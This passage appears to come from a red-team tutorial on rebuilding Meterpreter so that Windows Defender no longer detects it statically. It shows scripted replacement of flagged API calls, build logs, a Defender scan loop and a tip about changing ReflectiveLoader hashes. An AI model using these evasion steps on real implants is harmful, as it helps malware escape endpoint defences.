'/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_claims.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto_remote.c', '/extensions/priv/priv.c', '/extensions/priv/fs.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_service_remote.c', '/extensions/stdapi/server/ui/keyboard.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc.c', '/extensions/stdapi/server/sys/process/util.c', '/ReflectiveDLLInjection/dll/src/ReflectiveLoader.c', '/metsrv/server_transport_tcp.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_powershell.c', '/extensions/kiwi/mimikatz/modules/kull_m_xml.c', '/extensions/kiwi/mimikatz/modules/kull_m_service.c', '/extensions/kiwi/mimikatz/modules/kull_m_file.c', '/extensions/stdapi/server/webcam/audio.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_msv1_0.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_ssh.c', '/metsrv/metapi.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-rprn.c', '/extensions/extapi/extapi.c', '/metsrv/base_dispatch.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_kernel.c', '/metsrv/channel.c', '/extensions/kiwi/mimikatz/modules/kull_m_handle.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-claims.c', '/extensions/priv/namedpipe_rpcss.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_acr.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_rdm.c', '/metsrv/thread.c', '/extensions/kiwi/mimikatz/mimilib/utils.c', '/extensions/stdapi/server/sys/config/config.c', '/extensions/espia/espia.c', '/extensions/kiwi/mimikatz/mimilib/kssp.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_wlan.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_process.c', '/extensions/extapi/adsi.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_rdg.c', '/extensions/stdapi/server/fs/search.c', '/extensions/stdapi/server/net/config/proxy_config.c', '/metsrv/server_pivot_named_pipe.c', '/extensions/kiwi/mimikatz/mimilove/mimilove.c', '/metsrv/server_transport_wininet.c', '/extensions/kiwi/mimikatz/modules/kull_m_cred.c', '/extensions/kiwi/mimikatz/modules/kull_m_acr.c', '/extensions/winpmem/winpmem_meterpreter.cpp', '/extensions/stdapi/server/ui/desktop.c', '/extensions/extapi/clipboard.c', '/extensions/kiwi/mimikatz/mimilib/ksub.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c', '/extensions/kiwi/mimikatz/modules/kull_m_kernel.c', '/extensions/kiwi/mimikatz/modules/kull_m_cabinet.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c', '/extensions/unhook/unhook.c', '/extensions/lanattacks/dhcpserv.cpp', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_sysenvvalue.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_sk.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_service.c', '/extensions/kiwi/mimikatz/modules/kull_m_output.c', '/extensions/kiwi/mimikatz/mimikatz/mimikatz.c', '/extensions/sniffer/sniffer.c', '/extensions/stdapi/server/ui/idle.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump_remote.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa_utils.c', '/extensions/extapi/ntds_decrypt.c', '/extensions/extapi/wmi_interface.cpp', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_net.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_dpapi-entries.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-nrpc_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_busylight.c', '/metsrv/unicode.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_patch.c', '/extensions/peinjector/peinjector.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt5.c', '/extensions/kiwi/mimikatz/modules/kull_m_remotelib.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_drsr.c', '/extensions/powershell/powershell_bindings.cpp', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_bkrp.c', '/extensions/extapi/clipboard_image.cpp', '/extensions/stdapi/server/net/socket/tcp.c', '/extensions/stdapi/server/webcam/bmp2jpeg.c', '/ReflectiveDLLInjection/inject/src/GetProcAddressR.c', '/extensions/stdapi/server/stdapi.c', '/extensions/kiwi/mimikatz/modules/kull_m_patch.c', '/metsrv/server_setup.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-drsr_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_livessp.c', '/extensions/priv/tokendup.c', '/elevator/namedpipeservice.c', '/elevator/tokendup.c', '/extensions/stdapi/server/sys/power/power.c', '/extensions/extapi/ntds_jet.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_vault.c', '/extensions/stdapi/server/net/config/route.c', '/extensions/powershell/powershell_runner.cpp', '/metsrv/pivot_packet_dispatch.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto.c', '/extensions/powershell/powershell_bridge.cpp', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_wdigest.c', '/extensions/extapi/wmi.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_lunahsm.c', '/metsrv/packet_encryption.c', '/extensions/stdapi/server/sys/registry/registry.c', '/extensions/extapi/syskey.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_cloudap.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_rpc.c', '/extensions/kiwi/mimikatz/mimilib/kfilt.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_sccm.c', '/extensions/kiwi/mimikatz/modules/kull_m_ldap.c', '/ReflectiveDLLInjection/inject/src/Inject.c', '/extensions/kiwi/mimikatz/modules/kull_m_pipe.c', '/metsrv/remote_dispatch.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c', '/extensions/stdapi/server/resource/hook.c', '/extensions/networkpug/networkpug.c', '/extensions/kiwi/mimikatz/mimikatz/modules/ngc/kuhl_m_ngc.c', '/metsrv/base_inject.c', '/extensions/incognito/token_info.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_sr98.c', '/extensions/extapi/ntds.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_token.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_minesweeper.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_standard.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto_ngc.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_dpapi.c', '/extensions/stdapi/server/ui/mouse.c', '/extensions/incognito/list_tokens.c', '/extensions/stdapi/server/general.c', '/ReflectiveDLLInjection/dll/src/ReflectiveDll.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kull_m_rpc_ms-credentialkeys.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_cloudap.c', '/metsrv/scheduler.c', '/extensions/stdapi/server/net/socket/udp.c', '/extensions/stdapi/server/sys/process/in-mem-exe.c', '/metsrv/remote.c', '/extensions/stdapi/server/net/config/netstat.c', '/extensions/stdapi/server/net/config/interface.c', '/extensions/stdapi/server/audio/output.c', '/extensions/stdapi/server/sys/process/process.c', '/extensions/kiwi/mimikatz/modules/kull_m_string.c', '/extensions/lanattacks/lanattacks.c', '/extensions/lanattacks/TFTPserv.cpp', '/extensions/kiwi/mimikatz/mimilib/knp.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_sc.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_privilege.c', '/extensions/kiwi/mimikatz/modules/kull_m_process.c', '/extensions/peinjector/libpefile.c', '/extensions/stdapi/server/net/socket/tcp_server.c', '/metsrv/list.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_crypto.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-pac.c', '/extensions/kiwi/mimikatz/modules/kull_m_memory.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_ssp.c', '/extensions/stdapi/server/railgun/railgun.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_extractor.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-dcom_IObjectExporter_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_iis.c', '/extensions/kiwi/mimikatz/modules/kull_m_dpapi.c', '/extensions/extapi/adsi_interface.cpp', '/extensions/stdapi/server/sys/process/memory.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_credman.c', '/extensions/kiwi/mimikatz/mimilib/kdhcp.c', '/extensions/peinjector/peinjector_bridge.c', '/extensions/kiwi/mimikatz/modules/kull_m_token.c', '/extensions/priv/passwd.c', '/extensions/extapi/window.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_tspkg.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_misc.c', '/metsrv/server_transport_named_pipe.c', '/extensions/extapi/wshelpers.c', '/extensions/unhook/apisetmap.c', '/extensions/stdapi/server/fs/dir.c', '/extensions/extapi/service.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_event.c', '/extensions/kiwi/mimikatz/modules/kull_m_net.c', '/extensions/stdapi/server/fs/mount_win.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c', '/extensions/stdapi/server/sys/process/ps.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.c', '/extensions/stdapi/server/fs/file.c', '/extensions/priv/service.c', '/extensions/powershell/powershell.c', '/extensions/kiwi/mimikatz/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c', '/extensions/stdapi/server/fs/fs_win.c']
243it [00:32,  7.54it/s]
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/libloader.c -> Counter({'ZwWriteVirtualMemory': 3, 'NtCreateSection': 2, 'NtMapViewOfSection': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_inject.c -> Counter({'ZwWriteVirtualMemory': 2, 'NtQueueApcThread': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/remote_thread.c -> Counter({'CreateRemoteThread': 2, 'ZwCreateThreadEx': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_dispatch.c -> Counter({'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_misc.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_process.c -> Counter({'NtResumeProcess': 2, 'NtSuspendProcess': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_net.c -> Counter({'SamEnumerateDomainsInSamServer': 6, 'SamConnect': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump.c -> Counter({'SamEnumerateDomainsInSamServer': 2, 'SamConnect': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_memory.c -> Counter({'ReadProcessMemory': 1, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_cabinet.c -> Counter({'GetTempFileNameA': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_remotelib.c -> Counter({'CreateRemoteThread': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/tokendup.c -> Counter({'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/passwd.c -> Counter({'ReadProcessMemory': 3, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c -> Counter({'WriteProcessMemory': 3, 'NtUnmapViewOfSection': 3, 'ReadProcessMemory': 1, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c -> Counter({'ReadProcessMemory': 1, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c -> Counter({'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c -> Counter({'ReadProcessMemory': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/ReflectiveDLLInjection/dll/src/ReflectiveDll.c: 100%|███████████████████████████████████████████████| 535/535 [00:02<00:00, 227.82it/s]
INFO:root:Found 243 files with strings.
INFO:root:Found 18 files with suspicious API calls.
INFO:root:23/26 occurrences of WriteProcessMemory replaced.
INFO:root:2/4 occurrences of NtCreateSection replaced.
INFO:root:2/4 occurrences of NtMapViewOfSection replaced.
INFO:root:1/2 occurrences of NtQueueApcThread replaced.
INFO:root:1/5 occurrences of CreateRemoteThread replaced.
INFO:root:0/4 occurrences of NtResumeProcess replaced.
INFO:root:0/2 occurrences of NtSuspendProcess replaced.
INFO:root:0/8 occurrences of SamEnumerateDomainsInSamServer replaced.
INFO:root:2/2 occurrences of SamRidToSid replaced.
INFO:root:0/5 occurrences of SamConnect replaced.
INFO:root:4/4 occurrences of SamLookupDomainInSamServer replaced.
INFO:root:6/6 occurrences of SamOpenDomain replaced.
INFO:root:3/3 occurrences of SamOpenUser replaced.
INFO:root:1/1 occurrences of SamOpenGroup replaced.
INFO:root:1/1 occurrences of SamOpenAlias replaced.
INFO:root:1/1 occurrences of SamGetGroupsForUser replaced.
INFO:root:2/2 occurrences of SamGetAliasMembership replaced.
INFO:root:1/1 occurrences of SamGetMembersInGroup replaced.
INFO:root:1/1 occurrences of SamGetMembersInAlias replaced.
INFO:root:2/2 occurrences of SamEnumerateUsersInDomain replaced.
INFO:root:1/1 occurrences of SamEnumerateGroupsInDomain replaced.
INFO:root:1/1 occurrences of SamEnumerateAliasesInDomain replaced.
INFO:root:2/2 occurrences of SamLookupIdsInDomain replaced.
INFO:root:16/16 occurrences of SamCloseHandle replaced.
INFO:root:28/28 occurrences of SamFreeMemory replaced.
INFO:root:1/1 occurrences of SamQueryInformationUser replaced.
INFO:root:2/2 occurrences of SamSetInformationUser replaced.
INFO:root:1/1 occurrences of SamiChangePasswordUser replaced.
INFO:root:2/2 occurrences of SamLookupNamesInDomain replaced.
INFO:root:0/9 occurrences of ReadProcessMemory replaced.
INFO:root:0/1 occurrences of GetTempFileNameA replaced.
INFO:root:1/4 occurrences of NtUnmapViewOfSection replaced.
INFO:root:Writing output log file to /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/output_result.log
make docker-x64 -j 8 ; say "Done"                                                                                                                                                                      18:18:34
-- The C compiler identification is GNU 9.3.0
-- Check for working C compiler: /usr/bin/x86_64-w64-mingw32-gcc
-- Check for working C compiler: /usr/bin/x86_64-w64-mingw32-gcc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Build Type not specified, defaulting to 'Release'.
-- The CXX compiler identification is GNU 9.3.0
-- Check for working CXX compiler: /usr/bin/x86_64-w64-mingw32-g++
-- Check for working CXX compiler: /usr/bin/x86_64-w64-mingw32-g++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /meterpreter/workspace/build/mingw-x64
make[1]: Entering directory '/meterpreter/workspace/build/mingw-x64'
make[2]: Entering directory '/meterpreter/workspace/build/mingw-x64'
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
Scanning dependencies of target jpeg
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
[  0%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jaricom.c.obj
[  1%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcapimin.c.obj
[  1%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcapistd.c.obj
[  1%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcarith.c.obj
[  2%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jccoefct.c.obj
[  2%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jccolor.c.obj
[  2%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcdctmgr.c.obj
[  3%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jchuff.c.obj
[  3%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcinit.c.obj
[  3%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcmainct.c.obj
[  4%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcmarker.c.obj
[  4%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcmaster.c.obj
[  4%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcomapi.c.obj
[  5%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcparam.c.obj
[  5%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcprepct.c.obj
[  6%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcsample.c.obj
[  6%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jctrans.c.obj
[  6%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdapimin.c.obj
[  7%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdapistd.c.obj
[  7%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdarith.c.obj
[  7%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdatadst.c.obj
[  8%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdatasrc.c.obj
[  8%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdcoefct.c.obj
[  8%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdcolor.c.obj
[  9%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jddctmgr.c.obj
[  9%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdhuff.c.obj
[ 10%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdinput.c.obj
[ 10%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmainct.c.obj
[ 10%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmarker.c.obj
[ 11%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmaster.c.obj
[ 11%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmerge.c.obj
[ 11%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdpostct.c.obj
[ 12%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdsample.c.obj
[ 12%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdtrans.c.obj
[ 12%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jerror.c.obj
[ 13%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jfdctflt.c.obj
[ 13%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jfdctfst.c.obj
[ 14%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jfdctint.c.obj
[ 14%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jidctflt.c.obj
[ 14%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jidctfst.c.obj
[ 15%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jidctint.c.obj
[ 15%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jmemmgr.c.obj
[ 15%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jmemnobs.c.obj
[ 16%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jquant1.c.obj
[ 16%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jquant2.c.obj
[ 16%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jutils.c.obj
[ 17%] Linking C static library libjpeg.x64.a
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
[ 17%] Built target jpeg
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
Scanning dependencies of target metsrv
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
[ 17%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/base.c.obj
[ 17%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/base_dispatch.c.obj
[ 18%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/base_inject.c.obj
[ 18%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/channel.c.obj
[ 19%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/core.c.obj
[ 19%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/libloader.c.obj
[ 19%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/list.c.obj
[ 20%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/metapi.c.obj
[ 20%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/metsrv.c.obj
[ 20%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/packet_encryption.c.obj
[ 21%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/pivot_packet_dispatch.c.obj
[ 21%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/pivot_tree.c.obj
[ 21%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/remote.c.obj
[ 22%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/remote_dispatch.c.obj
[ 22%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/remote_thread.c.obj
[ 23%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/scheduler.c.obj
[ 23%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_pivot.c.obj
[ 23%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_pivot_named_pipe.c.obj
[ 24%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_setup.c.obj
[ 24%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_named_pipe.c.obj
[ 24%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_tcp.c.obj
[ 25%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_winhttp.c.obj
[ 25%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_wininet.c.obj
[ 25%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/thread.c.obj
[ 26%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/unicode.c.obj
[ 26%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/zlib.c.obj
[ 27%] Linking C shared library metsrv.x64.dll
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
[ 27%] Built target metsrv
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'

Antivirus testing and a cheat

Then, all the freshly compiled DLLs can be scanned with Windows Defender and loadlibrary:

➜  ~ for i in `ls /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/*.dll` ; do  docker run -v /Users/vladimir/dev/av-signatures-finder:/home/toto/av-signatures-finder -v /tmp:/tmp -v /var:/var loadlibrary-working python3 /home/toto/av-signatures-finder/ $i ; done
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_espia.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_incognito.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_priv.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_stdapi.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_unhook.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/metsrv.x64.dll...
EngineScanCallback(): Scanning input
➜  ~

Note: this only provides the antivirus detection status with the static engine, to test the hooks and the memory scans you have to go real-mode.

Of course, while we do have a clean detection score in the console output above, you probably won’t have the same results unless you customised your ReflectiveLoader to not use the same ROT13 API hashes as the default one.

